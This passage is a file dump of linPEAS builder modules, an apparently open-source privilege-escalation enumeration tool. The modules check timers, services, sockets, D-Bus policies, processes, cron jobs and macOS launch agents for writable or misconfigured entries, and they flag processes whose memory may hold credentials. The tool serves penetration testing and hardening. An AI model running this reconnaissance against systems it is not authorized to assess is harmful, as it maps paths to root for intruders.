# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "System timers"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
(systemctl list-timers --all 2>/dev/null | grep -Ev "(^$|timers listed)" | sed -${E} "s,$timersG,${SED_GREEN},") || echo_not_found
echo ""
fi

33
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/11_Timer_files.sh Normal file
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# Title: Processes & Cron & Services & Timers - .timer files
# ID: PR_Timer_files
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: .timer files
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER
# Initial Functions:
# Generated Global Variables: $timerbinpaths, $relpath
# Fat linpeas: 0
# Small linpeas: 1
print_2title "Analyzing .timer files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#timers"
printf "%s\n" "$PSTORAGE_TIMER" | while read t; do
if ! [ "$IAMROOT" ] && [ -w "$t" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$t" | sed -${E} "s,.*,${SED_RED},g"
fi
timerbinpaths=$(grep -Po '^Unit=*(.*?$)' $t 2>/dev/null | cut -d '=' -f2)
printf "%s\n" "$timerbinpaths" | while read tb; do
if [ -w "$tb" ]; then
echo "$t timer is calling this writable executable: $tb" | sed "s,writable.*,${SED_RED},g"
fi
done
#relpath="`grep -Po '^Unit=[^/].*' \"$t\" 2>/dev/null`"
#for rp in "$relpath"; do
# echo "$t is calling a relative path: $rp" | sed "s,relative.*,${SED_RED},g"
#done
done
echo ""

23
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# Title: Processes & Cron & Services & Timers - Services
# ID: PR_Services
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Services outdated versions
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $EXTRA_CHECKS, $SEARCH_IN_FOLDER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$EXTRA_CHECKS" ]; then
print_2title "Services"
print_info "Search for outdated versions"
(service --status-all || service -e || chkconfig --list || rc-status || launchctl list) 2>/dev/null || echo_not_found "service|chkconfig|rc-status|launchctl"
echo ""
fi
fi

42
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/13_Service_files.sh Normal file
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# Title: Processes & Cron & Services & Timers - Analyzing .service files
# ID: PR_Service_files
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Analyze .service files
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER, $WRITABLESYSTEMDPATH
# Initial Functions:
# Generated Global Variables: $relpath1, $relpath2, $servicebinpaths
# Fat linpeas: 0
# Small linpeas: 0
#TODO: .service files in MACOS are folders
print_2title "Analyzing .service files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#services"
printf "%s\n" "$PSTORAGE_SYSTEMD" | while read s; do
if [ ! -O "" ] || [ "$SEARCH_IN_FOLDER" ]; then #Remove services that belongs to the current user or if firmware see everything
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "$s" | sed -${E} "s,.*,${SED_RED_YELLOW},g"
fi
servicebinpaths=$(grep -Eo '^Exec.*?=[!@+-]*[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,') #Get invoked paths
printf "%s\n" "$servicebinpaths" | while read sp; do
if [ -w "$sp" ]; then
echo "$s is calling this writable executable: $sp" | sed "s,writable.*,${SED_RED_YELLOW},g"
fi
done
relpath1=$(grep -E '^Exec.*=(?:[^/]|-[^/]|\+[^/]|![^/]|!![^/]|)[^/@\+!-].*' "$s" 2>/dev/null | grep -Iv "=/")
relpath2=$(grep -E '^Exec.*=.*/bin/[a-zA-Z0-9_]*sh ' "$s" 2>/dev/null)
if [ "$relpath1" ] || [ "$relpath2" ]; then
if [ "$WRITABLESYSTEMDPATH" ]; then
echo "$s could be executing some relative path" | sed -${E} "s,.*,${SED_RED},";
else
echo "$s could be executing some relative path"
fi
fi
fi
done
if [ ! "$WRITABLESYSTEMDPATH" ]; then echo "You can't write on systemd PATH" | sed -${E} "s,.*,${SED_GREEN},"; fi
echo ""

38
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/14_Socket_files.sh Normal file
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# Title: Processes & Cron & Services & Timers - .socket files
# ID: PR_Socket_files
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: .socket files
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $IAMROOT, $SEARCH_IN_FOLDER
# Initial Functions:
# Generated Global Variables: $socketsbinpaths, $socketslistpaths
# Fat linpeas: 0
# Small linpeas: 0
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
print_2title "Analyzing .socket files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
printf "%s\n" "$PSTORAGE_SOCKET" | while read s; do
if ! [ "$IAMROOT" ] && [ -w "$s" ] && [ -f "$s" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable .socket file: $s" | sed "s,/.*,${SED_RED},g"
fi
socketsbinpaths=$(grep -Eo '^(Exec).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketsbinpaths" | while read sb; do
if [ -w "$sb" ]; then
echo "$s is calling this writable executable: $sb" | sed "s,writable.*,${SED_RED},g"
fi
done
socketslistpaths=$(grep -Eo '^(Listen).*?=[!@+-]*/[a-zA-Z0-9_/\-]+' "$s" 2>/dev/null | cut -d '=' -f2 | sed 's,^[@\+!-]*,,')
printf "%s\n" "$socketslistpaths" | while read sl; do
if [ -w "$sl" ]; then
echo "$s is calling this writable listener: $sl" | sed "s,writable.*,${SED_RED},g";
fi
done
done
echo ""
fi

72
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/15_Unix_sockets_listening.sh Normal file
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# Title: Processes & Cron & Services & Timers - Unix Sockets Listening
# ID: PR_Unix_sockets_listening
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Unix Sockets Listening
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $EXTRA_CHECKS, $groupsB, $groupsVB, $IAMROOT, $idB, $knw_grps, $knw_usrs, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: $unix_scks_list, $unix_scks_list2, $unix_scks_list3, $perms, $socketcurl, $owner, $CANNOT_CONNECT_TO_SOCKET
# Fat linpeas: 0
# Small linpeas: 0
#TODO: .socket files in MACOS are folders
if ! [ "$IAMROOT" ]; then
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Unix Sockets Listening"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sockets"
# Search sockets using netstat and ss
unix_scks_list=$(ss -xlp -H state listening 2>/dev/null | grep -Eo "/.* " | cut -d " " -f1)
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(ss -l -p -A 'unix' 2>/dev/null | grep -Ei "listen|Proc" | grep -Eo "/[a-zA-Z0-9\._/\-]+")
fi
if ! [ "$unix_scks_list" ];then
unix_scks_list=$(netstat -a -p --unix 2>/dev/null | grep -Ei "listen|PID" | grep -Eo "/[a-zA-Z0-9\._/\-]+" | tail -n +2)
fi
unix_scks_list3=$(lsof -U 2>/dev/null | awk '{print $9}' | grep "/")
fi
if ! [ "$SEARCH_IN_FOLDER" ]; then
# But also search socket files
unix_scks_list2=$(find / -type s 2>/dev/null)
else
unix_scks_list2=$(find "SEARCH_IN_FOLDER" -type s 2>/dev/null)
fi
# Detele repeated dockets and check permissions
(printf "%s\n" "$unix_scks_list" && printf "%s\n" "$unix_scks_list2" && printf "%s\n" "$unix_scks_list3") | sort | uniq | while read l; do
perms=""
if [ -r "$l" ]; then
perms="Read "
fi
if [ -w "$l" ];then
perms="${perms}Write"
fi
if [ "$EXTRA_CHECKS" ] && [ "$(command -v curl || echo -n '')" ]; then
CANNOT_CONNECT_TO_SOCKET="$(curl -v --unix-socket "$l" --max-time 1 http:/linpeas 2>&1 | grep -i 'Permission denied')"
if ! [ "$CANNOT_CONNECT_TO_SOCKET" ]; then
perms="${perms} - Can Connect"
else
perms="${perms} - Cannot Connect"
fi
fi
if ! [ "$perms" ]; then echo "$l" | sed -${E} "s,$l,${SED_GREEN},g";
else
echo "$l" | sed -${E} "s,$l,${SED_RED},g"
echo " └─(${RED}${perms}${NC})" | sed -${E} "s,Cannot Connect,${SED_GREEN},g"
# Try to contact the socket
socketcurl=$(curl --max-time 2 --unix-socket "$s" http:/index 2>/dev/null)
if [ $? -eq 0 ]; then
owner=$(ls -l "$s" | cut -d ' ' -f 3)
echo "Socket $s owned by $owner uses HTTP. Response to /index: (limt 30)" | sed -${E} "s,$groupsB,${SED_RED},g" | sed -${E} "s,$groupsVB,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_LIGHT_MAGENTA},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_RED}," | sed -${E} "s,$knw_grps,${SED_GREEN},g" | sed -${E} "s,$idB,${SED_RED},g"
echo "$socketcurl" | head -n 30
fi
fi
done
echo ""
fi

33
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/16_DBus_service_objects_list.sh Normal file
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# Title: Processes & Cron & Services & Timers - D-Bus Service Objects list
# ID: PR_DBus_service_objects_list
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate D-Bus Service Objects list
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $dbuslistG, $knw_usrs, $nosh_usrs, $rootcommon, $SEARCH_IN_FOLDER, $USER
# Initial Functions:
# Generated Global Variables: $dbuslist, $srvc_object, $srvc_object_info
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "D-Bus Service Objects list"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
dbuslist=$(busctl list 2>/dev/null)
if [ "$dbuslist" ]; then
busctl list | while read l; do
echo "$l" | sed -${E} "s,$dbuslistG,${SED_GREEN},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED},";
if ! echo "$l" | grep -qE "$dbuslistG"; then
srvc_object=$(echo $l | cut -d " " -f1)
srvc_object_info=$(busctl status "$srvc_object" 2>/dev/null | grep -E "^UID|^EUID|^OwnerUID" | tr '\n' ' ')
if [ "$srvc_object_info" ]; then
echo " -- $srvc_object_info" | sed "s,UID=0,${SED_RED},"
fi
fi
done
else echo_not_found "busctl"
fi
fi

40
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/17_DBus_config_files.sh Normal file
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# Title: Processes & Cron & Services & Timers - D-Bus config files
# ID: PR_DBus_config_files
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate D-Bus config files
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $IAMROOT, $mygroups, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: $genpol, $userpol, $grppol
# Fat linpeas: 0
# Small linpeas: 0
print_2title "D-Bus config files"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#d-bus"
if [ "$PSTORAGE_DBUS" ]; then
printf "%s\n" "$PSTORAGE_DBUS" | while read d; do
for f in $d/*; do
if ! [ "$IAMROOT" ] && [ -w "$f" ] && ! [ "$SEARCH_IN_FOLDER" ]; then
echo "Writable $f" | sed -${E} "s,.*,${SED_RED},g"
fi
genpol=$(grep "<policy>" "$f" 2>/dev/null)
if [ "$genpol" ]; then printf "Weak general policy found on $f ($genpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#if [ "`grep \"<policy user=\\\"$USER\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak user policy found on $f () \n" | sed "s,$USER,${SED_RED},g"; fi
userpol=$(grep "<policy user=" "$f" 2>/dev/null | grep -v "root")
if [ "$userpol" ]; then printf "Possible weak user policy found on $f ($userpol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#for g in `groups`; do
# if [ "`grep \"<policy group=\\\"$g\\\">\" \"$f\" 2>/dev/null`" ]; then printf "Possible weak group ($g) policy found on $f\n" | sed "s,$g,${SED_RED},g"; fi
#done
grppol=$(grep "<policy group=" "$f" 2>/dev/null | grep -v "root")
if [ "$grppol" ]; then printf "Possible weak user policy found on $f ($grppol)\n" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN},g" | sed "s,$USER,${SED_RED},g" | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$mygroups,${SED_RED},g"; fi
#TODO: identify allows in context="default"
done
done
fi
echo ""

46
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/1_List_processes.sh Normal file
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# Title: Processes & Cron & Services & Timers - List proccesses
# ID: PR_List_processes
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: List running proccesses removing the ones that aren't interesting
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info, print_ps
# Global Variables: $capsB, $knw_usrs, $nosh_usrs, $NOUSEPS, $processesB, $processesDump, $processesVB, $rootcommon, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders
# Initial Functions:
# Generated Global Variables: $pslist, $cpid, $caphex, $psline
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Running processes (cleaned)"
if [ "$NOUSEPS" ]; then
printf ${BLUE}"[i]$GREEN Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes\n"$NC
fi
print_info "Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
if [ -f "/etc/fstab" ] && cat /etc/fstab | grep -q "hidepid=2"; then
echo "Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users"
fi
if [ "$NOUSEPS" ]; then
print_ps | grep -v 'sed-Es' | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
pslist=$(print_ps)
else
(ps fauxwww || ps auxwww | sort ) 2>/dev/null | grep -v "\[" | grep -v "%CPU" | while read psline; do
echo "$psline" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$rootcommon,${SED_GREEN}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed "s,root,${SED_RED}," | sed -${E} "s,$processesVB,${SED_RED_YELLOW},g" | sed "s,$processesB,${SED_RED}," | sed -${E} "s,$processesDump,${SED_RED},"
if [ "$(command -v capsh || echo -n '')" ] && ! echo "$psline" | grep -q root; then
cpid=$(echo "$psline" | awk '{print $2}')
caphex=0x"$(cat /proc/$cpid/status 2> /dev/null | grep CapEff | awk '{print $2}')"
if [ "$caphex" ] && [ "$caphex" != "0x" ] && echo "$caphex" | grep -qv '0x0000000000000000'; then
printf " └─(${DG}Caps${NC}) "; capsh --decode=$caphex 2>/dev/null | grep -v "WARNING:" | sed -${E} "s,$capsB,${SED_RED},g"
fi
fi
done
pslist=$(ps auxwww)
echo ""
fi
echo ""
fi

26
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/2_Process_cred_in_memory.sh Normal file
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# Title: Processes & Cron & Services & Timers - Processes with credentials inside memory
# ID: PR_Process_cred_in_memory
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Processes with credentials inside memory
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $pslist, $SEARCH_IN_FOLDER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Processes with credentials in memory (root req)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#credentials-from-process-memory"
if echo "$pslist" | grep -q "gdm-password"; then echo "gdm-password process found (dump creds from memory as root)" | sed "s,gdm-password process,${SED_RED},"; else echo_not_found "gdm-password"; fi
if echo "$pslist" | grep -q "gnome-keyring-daemon"; then echo "gnome-keyring-daemon process found (dump creds from memory as root)" | sed "s,gnome-keyring-daemon,${SED_RED},"; else echo_not_found "gnome-keyring-daemon"; fi
if echo "$pslist" | grep -q "lightdm"; then echo "lightdm process found (dump creds from memory as root)" | sed "s,lightdm,${SED_RED},"; else echo_not_found "lightdm"; fi
if echo "$pslist" | grep -q "vsftpd"; then echo "vsftpd process found (dump creds from memory as root)" | sed "s,vsftpd,${SED_RED},"; else echo_not_found "vsftpd"; fi
if echo "$pslist" | grep -q "apache2"; then echo "apache2 process found (dump creds from memory as root)" | sed "s,apache2,${SED_RED},"; else echo_not_found "apache2"; fi
if echo "$pslist" | grep -q "sshd:"; then echo "sshd: process found (dump creds from memory as root)" | sed "s,sshd:,${SED_RED},"; else echo_not_found "sshd"; fi
echo ""
fi

29
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/3_Process_binaries_perms.sh Normal file
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# Title: Processes & Cron & Services & Timers - Process binaries permissions
# ID: PR_Process_binaries_perms
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check the permissions of the binaries of the running processes
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $knw_usrs, $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders
# Initial Functions:
# Generated Global Variables: $binW, $bpath
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$NOUSEPS" ]; then
print_2title "Binary processes permissions (non 'root root' and not belonging to current user)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes"
binW="IniTialiZZinnggg"
ps auxwww 2>/dev/null | awk '{print $11}' | while read bpath; do
if [ -w "$bpath" ]; then
binW="$binW|$bpath"
fi
done
ps auxwww 2>/dev/null | awk '{print $11}' | xargs ls -la 2>/dev/null |awk '!x[$0]++' 2>/dev/null | grep -v " root root " | grep -v " $USER " | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$binW,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED}," | sed "s,root,${SED_GREEN},"
echo ""
fi
fi

36
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/4_Processes_PPID_different_user.sh Normal file
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# Title: Processes & Cron & Services & Timers - Process opened by other users
# ID: PR_Processes_PPID_different_user
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Processes whose PPID belongs to a different user (not root)
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $nosh_usrs, $NOUSEPS, $SEARCH_IN_FOLDER, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables: $ppid_user, $pid, $ppid, $user
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$NOUSEPS" ]; then
print_2title "Processes whose PPID belongs to a different user (not root)"
print_info "You will know if a user can somehow spawn processes as a different user"
# Function to get user by PID
get_user_by_pid() {
ps -p "$1" -o user | grep -v "USER"
}
# Find processes with PPID and user info, then filter those where PPID's user is different from the process's user
ps -eo pid,ppid,user | grep -v "PPID" | while read -r pid ppid user; do
if [ "$ppid" = "0" ]; then
continue
fi
ppid_user=$(get_user_by_pid "$ppid")
if echo "$user" | grep -Eqv "$ppid_user|root$"; then
echo "Proc $pid with ppid $ppid is run by user $user but the ppid user is $ppid_user" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
fi
done
echo ""
fi

23
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/5_Files_open_process_other_user.sh Normal file
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# Title: Processes & Cron & Services & Timers - Files opened by processes belonging to other users
# ID: PR_Files_open_process_other_user
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Files opened by processes belonging to other users
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $IAMROOT, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
if ! [ "$IAMROOT" ]; then
print_2title "Files opened by processes belonging to other users"
print_info "This is usually empty because of the lack of privileges to read other user processes information"
lsof 2>/dev/null | grep -v "$USER" | grep -iv "permission denied" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
echo ""
fi
fi

30
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/6_Different_procs_1min.sh Normal file
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# Title: Processes & Cron & Services & Timers - Different processes 1 min
# ID: PR_Different_procs_1min
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Different processes executed during 1 min
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $nosh_usrs, $sh_usrs, $Wfolders
# Initial Functions:
# Generated Global Variables: $temp_file
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then
print_2title "Different processes executed during 1 min (interesting is low number of repetitions)"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#frequent-cron-jobs"
temp_file=$(mktemp)
if [ "$(ps -e -o user,command 2>/dev/null)" ]; then
for i in $(seq 1 1210); do
ps -e -o user,command >> "$temp_file" 2>/dev/null; sleep 0.05;
done;
sort "$temp_file" 2>/dev/null | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort -r -n | grep -E -v "\s*[1-9][0-9][0-9][0-9]" | sed -${E} "s,$Wfolders,${SED_RED},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},";
rm "$temp_file";
fi
echo ""
fi
fi

22
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/7_Systemd_path.sh Normal file
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# Title: Processes & Cron & Services & Timers - Systemd PATH
# ID: PR_Systemd_path
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Systemd PATH
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $SEARCH_IN_FOLDER, $Wfolders
# Initial Functions:
# Generated Global Variables: $WRITABLESYSTEMDPATH
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Systemd PATH"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#systemd-path-relative-paths"
systemctl show-environment 2>/dev/null | grep "PATH" | sed -${E} "s,$Wfolders\|\./\|\.:\|:\.,${SED_RED_YELLOW},g"
WRITABLESYSTEMDPATH=$(systemctl show-environment 2>/dev/null | grep "PATH" | grep -E "$Wfolders")
echo ""
fi

33
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/8_Cron_jobs.sh Normal file
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# Title: Processes & Cron & Services & Timers - Cron jobs
# ID: PR_Cron_jobs
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Enumerate system cron jobs
# License: GNU GPL
# Version: 1.0
# Functions Used: echo_not_found, print_2title, print_info
# Global Variables: $cronjobsG, $nosh_usrs, $SEARCH_IN_FOLDER, $sh_usrs, $USER, $Wfolders, $cronjobsB
# Initial Functions:
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
if ! [ "$SEARCH_IN_FOLDER" ]; then
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
command -v crontab 2>/dev/null || echo_not_found "crontab"
crontab -l 2>/dev/null | tr -d "\r" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
command -v incrontab 2>/dev/null || echo_not_found "incrontab"
incrontab -l 2>/dev/null
ls -alR /etc/cron* /var/spool/cron/crontabs /var/spool/anacron 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g"
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/* /etc/incron.d/* /var/spool/incron/* 2>/dev/null | tr -d "\r" | grep -v "^#" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g" | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed "s,$USER,${SED_LIGHT_MAGENTA}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed "s,root,${SED_RED},"
crontab -l -u "$USER" 2>/dev/null | tr -d "\r"
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /var/at/tabs/ /etc/periodic/ 2>/dev/null | sed -${E} "s,$cronjobsG,${SED_GREEN},g" | sed "s,$cronjobsB,${SED_RED},g" #MacOS paths
atq 2>/dev/null
else
print_2title "Cron jobs"
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#scheduled-cron-jobs"
find "$SEARCH_IN_FOLDER" '(' -type d -or -type f ')' '(' -name "cron*" -or -name "anacron" -or -name "anacrontab" -or -name "incron.d" -or -name "incron" -or -name "at" -or -name "periodic" ')' -exec echo {} \; -exec ls -lR {} \;
fi
echo ""

55
linPEAS/builder/linpeas_parts/4_procs_crons_timers_srvcs_sockets/9_Macos_launch_agents_daemons.sh Normal file
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# Title: Processes & Cron & Services & Timers - Third party LaunchAgents & LaunchDemons
# ID: PR_Macos_launch_agents_daemons
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Third party LaunchAgents & LaunchDemons
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_info
# Global Variables: $MACPEAS, $SEARCH_IN_FOLDER
# Initial Functions:
# Generated Global Variables: $program
# Fat linpeas: 0
# Small linpeas: 0
if ! [ "$SEARCH_IN_FOLDER" ]; then
if [ "$MACPEAS" ]; then
print_2title "Third party LaunchAgents & LaunchDemons"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#launchd"
ls -l /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ~/Library/LaunchDaemons/ 2>/dev/null
echo ""
print_2title "Writable System LaunchAgents & LaunchDemons"
find /System/Library/LaunchAgents/ /System/Library/LaunchDaemons/ /Library/LaunchAgents/ /Library/LaunchDaemons/ | grep ".plist" | while read f; do
program=""
program=$(defaults read "$f" Program 2>/dev/null)
if ! [ "$program" ]; then
program=$(defaults read "$f" ProgramArguments | grep -Ev "^\(|^\)" | cut -d '"' -f 2)
fi
if [ -w "$program" ]; then
echo "$program" is writable | sed -${E} "s,.*,${SED_RED_YELLOW},";
fi
done
echo ""
print_2title "StartupItems"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#startup-items"
ls -l /Library/StartupItems/ /System/Library/StartupItems/ 2>/dev/null
echo ""
print_2title "Login Items"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#login-items"
osascript -e 'tell application "System Events" to get the name of every login item' 2>/dev/null
echo ""
print_2title "SPStartupItemDataType"
system_profiler SPStartupItemDataType
echo ""
print_2title "Emond scripts"
print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#emond"
ls -l /private/var/db/emondClients
echo ""
fi
fi

192
linPEAS/builder/linpeas_parts/5_network_information.sh
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###########################################
#---------) Network Information (---------#
###########################################
